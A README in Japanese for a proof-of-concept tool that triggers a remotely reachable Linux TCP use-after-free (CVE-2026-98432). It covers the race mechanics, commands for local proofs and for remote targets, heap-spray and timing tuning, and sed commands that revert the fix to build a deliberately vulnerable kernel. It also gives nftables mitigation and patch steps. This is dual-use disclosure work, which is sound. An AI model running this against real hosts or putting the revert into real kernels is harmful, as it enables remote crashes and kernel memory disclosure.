
ireq_opt ユースアフターフリー PoCCVE-2026-98432 (CVSS 9.8) の概念実証専用 PoC: Linux IPv4/TCP スタックにおけるリモートからトリガー可能なユースアフターフリー。
認可されたセキュリティテスト専用。 自身が所有するシステム、または明示的なテスト許可を得たシステムに対してのみ実行すること。
この PoC はレースをトリガーし、カーネルが解放済みの ip_options_rcu オブジェクトから SYN-ACK へバイトをコピーするタイミングを検出する。ユーザーやファイルを作成することはなく、コード実行チェーンを実装することもない。
ヒットとは、サーバーが SYN-ACK 内に別のアロケーションのマーカーを返したことを意味する — 正しいカーネルではそれは起こり得ない。Ubuntu 24.04.5、カーネル 6.8.0-147-generic(Ubuntu により脆弱と記載、修正は 6.8.0-149 でキュー済み)での制御されたテストでは、180 秒のループバック実行で 320,829 回の試行中 21 回のヒット、300 秒の実行で 616,911 回の試行中 22 回のヒットが得られた。カーネルはクリーンなままだった(tainted=0、oops なし)。
そのホストからのパケットキャプチャやログはここには含まれていない。PoC 自身の出力が証拠である。
IPv4 オプションを伴う SYN を受信すると、カーネルはリクエストソケット用に ip_options_rcu(72 バイト、kmalloc-96)を構築する。ハンドシェイクが完了すると、tcp_v4_syn_recv_sock() はそのオブジェクトをコピーせずに子ソケットへ渡し、その後リクエストソケット内のポインタをクリアする。すでにリクエストソケットを参照していた別の CPU は、依然として tcp_check_req() → tcp_v4_send_synack() → ip_build_and_send_pkt() → ip_options_build() の内部に留まり、同じオブジェクトを読み取っている可能性がある。子ソケットは SOCK_RCU_FREE ではなく、inet_sock_destruct() は inet_opt を素の kfree() で解放するため、そのウィンドウ内で子が破棄されると、読み取り側は解放済みメモリを参照することになる。
リクエストソケットのマイグレーション(net.ipv4.tcp_migrate_req=1 または BPF reuseport プログラム)を伴う第 2 の変種も存在する。修正では inet_sock_destruct() と tcp_v4_reqsk_destructor() の両方で kfree_rcu() が使用される。
Linux 4.4(079096f103fa)で導入され、メインライン 7.3 で修正、5.10.272、5.15.223、6.1.190、6.6.159、6.12.113、6.18.56、7.2.10 にバックポートされた。影響範囲: Linux 4.4 以降で未パッチのもの。
影響はリモートクラッシュ(DoS)からカーネルメモリ開示、そして完全なエクスプロイトチェーンを伴うコード実行にまで及ぶ。このリポジトリはユースアフターフリーの証明までで止めている。
試行ごとに:
ireq_opt を持つリクエストソケットが生成され、ターゲットは SYN-ACK でそのオプションをエコーする。inet_opt を継承し、リクエストソケットはポインタを破棄する。オラクル。 各試行はオプションのオフセット 16..23 に一意の 32 ビットマジックとチェックタグを埋め込む。ユーザー空間の読み取り側がオプションを目にする前に 3 回の書き換えが発生する:
| 段階 | スロット |
|---|---|
SYN に対するサーバーの ip_options_compile() | 4..7 (TS) / 3..6 (RR) |
SYN-ACK に対するサーバーの ip_options_build() | 8..11 (TS) / 7..10 (RR) |
SYN-ACK に対する受信ホストの ip_options_compile() | 12..15 (TS) / 11..14 (RR) |
マーカーはこれら 3 つすべてより後ろに存在する。別のアロケーションのマジック(tag == magic ^ 0x5a5a5a5a)をエコーする SYN-ACK は、読み取り側が解放後に再利用されたオブジェクトからコピーしたことを証明する。
CAP_NET_RAW。自動 RST フィルタには CAP_NET_ADMIN(root)が必要。accept() する IPv4 TCP リスナーを持つ未パッチの Linux。iptables/nftables。--proof は単一ホスト上で自己完結する: ループバックリスナーを起動し、それとレースする。
python3 poc_cve_2026_98432.py --selftest
sudo python3 poc_cve_2026_98432.py --check
実行中のカーネル、修正リリースの表、および関連する sysctl を出力します。
sudo python3 poc_cve_2026_98432.py --proof 9000 \
--duration 180 --workers 6 --spray 2 --spray-rate 1000 \
--pcap /tmp/proof.pcap
127.0.0.1:9000 でリスナーを起動し、レースを実行し、判定結果を出力し、リスナーを停止して、一時的なファイアウォールルールを削除します。ホスト上には何も作成されません — 一時的な TCP 状態のみです。
sudo python3 poc_cve_2026_98432.py --probe <TARGET>:<PORT>
1つの SYN: ターゲットが MPTCP リスナーであるかどうか、および IPv4 オプションをエコーするかどうか(オラクルに必要)を報告します。
sudo python3 poc_cve_2026_98432.py <TARGET>:<PORT> \
--workers 16 --spray 4 --duration 600 --pcap hits.pcap
パブリックアドレスは --allow-public が指定されない限り拒否されます。ベアRSTフィルタは自動的にインストールされ、終了時に削除されます。
python3 poc_cve_2026_98432.py --listen 9000 --mptcp
127.0.0.1 にバインドします。リモートの攻撃者ホストを使う場合にのみ --listen-any を追加してください。リスナーは各接続を受け入れるとすぐに SO_LINGER(0) で閉じ、子プロセスを迅速に解放します。
| フィールド | 意味 |
|---|---|
attempts | 開始されたハンドシェイク数 |
synacks | 観測された SYN-ACK 数(試行あたり約 2 回) |
hits | SYN-ACK が別の割り当てのマーカーを運んでいた → UAF を確認 |
anomalies | マーカーは解析できたがタグが不一致(部分的な破損) |
leaks | エコーバックされたバイト列内にカーネルポインタらしき値 |
noopt | エコーされたオプションを含まない SYN-ACK(syncookies/キュー満杯/ストリッピング) |
stale | 遅延した SYN-ACK 再送がフィルタされた(ヒットではない) |
malformed | ihl < 5 の SYN-ACK(古い optlen によるアンダーフローの兆候) |
timeouts | --timeout 以内に SYN-ACK なし |
spray | 送信されたヒープスプレー SYN 数 |
ヒットの例:
[!] UAF ORACLE HIT #1 at attempt sport=63042 (expected magic f815ca68 tag a24f9032)
tcp <TARGET>:9000 -> <CLIENT>:63042 seq=c20ed8ef ack=d212b2b1 flags=0x12
SYN-ACK echoed magic d4bcdcc7 tag 8ee6869d, belongs to another allocation
ip options:
44 28 11 00 03 71 b0 b5 03 71 cc 73 03 71 cc 73
d4 bc dc c7 8e e6 86 9d 00 00 00 00 00 00 00 00
0x8ee6869d == 0xd4bcdcc7 ^ 0x5a5a5a5a: このタグ関係は、エコーバックされたバイト列が別のアロケーションからの有効なマーカーであることを証明します。
終了コード: 0 = 証拠を観測、3 = なし、2 = セットアップエラー、
1 = 使用法/実行時エラー。
このレースは確率的です。テストホストでは、--workers 6 --spray 2 --spray-rate 1000 を少なくとも3分間実行することで再現しました。同じホストで
--workers 4 --spray 1 --spray-rate 500 による60秒間の実行ではヒットがゼロでした。
短時間の実行で「脆弱ではない」と結論づけないでください。
--duration — 試行回数を増やします。公開された研究では数十分を要しました。--workers — 同時試行数を増やします(LAN上では8〜16)。--spray / --spray-rate — kmalloc-96 を継続的に撹拌し、解放されたオプション
オブジェクトが再利用されるようにします。--lead / --rst-delta / --jitter — マイクロ秒単位のタイミングスイープです。
20/40/10 から開始し、lead を 0〜40、delta を 0〜80 でスイープします。開発には使い捨てのVMがより安全です。2行の修正を元に戻すことで、脆弱な 6.12.112 カーネルをビルドします:
curl -LO https://cdn.kernel.org/pub/linux/kernel/v6.x/linux-6.12.112.tar.xz
tar xf linux-6.12.112.tar.xz && cd linux-6.12.112
sed -i 's/kfree_rcu(rcu_dereference_protected(inet->inet_opt, 1), rcu);/kfree(rcu_dereference_protected(inet->inet_opt, 1));/' net/ipv4/af_inet.c
sed -i 's/kfree_rcu(rcu_dereference_protected(inet_rsk(req)->ireq_opt, 1), rcu);/kfree(rcu_dereference_protected(inet_rsk(req)->ireq_opt, 1));/' net/ipv4/tcp_ipv4.c
make defconfig
make -j"$(nproc)"
QEMU で起動し、ゲスト内で --proof を実行するか、ホストから転送ポートに対して --race を実行します。
このトリガーにはオプション付きの IPv4 ヘッダー(ihl > 5)が必要です。エッジでこれらをドロップすれば、カーネルにパッチが適用されるまでこのバグには到達できなくなります。nftables を使用する場合:
sudo nft add table ip cve98432
sudo nft add chain ip cve98432 input '{ type filter hook input priority -10; policy accept; }'
sudo nft add rule ip cve98432 input ip hdrlength != 5 drop
パッチ適用後に削除: sudo nft delete table ip cve98432
利用可能になったらパッチを適用:
sudo apt update
apt-cache policy linux-image-generic # 6.8.0-149 or newer
sudo apt full-upgrade
sudo reboot
uname -r
sysctl -w net.mptcp.enabled=0 は攻撃経路を1つ塞ぐだけであり、完全な修正ではありません。
CVE-2026-98432 は元の研究者によって発見・報告されました。CVE レコード https://www.cve.org/CVERecord?id=CVE-2026-98432 および Linux カーネルの修正コミットを参照してください。このリポジトリは、トリガーとオラクルの独立した、概念実証のみの再現です。本リポジトリは、脆弱性の発見を一切主張するものではありません。
コードは MIT ライセンスの下で公開されています — LICENSE を参照してください。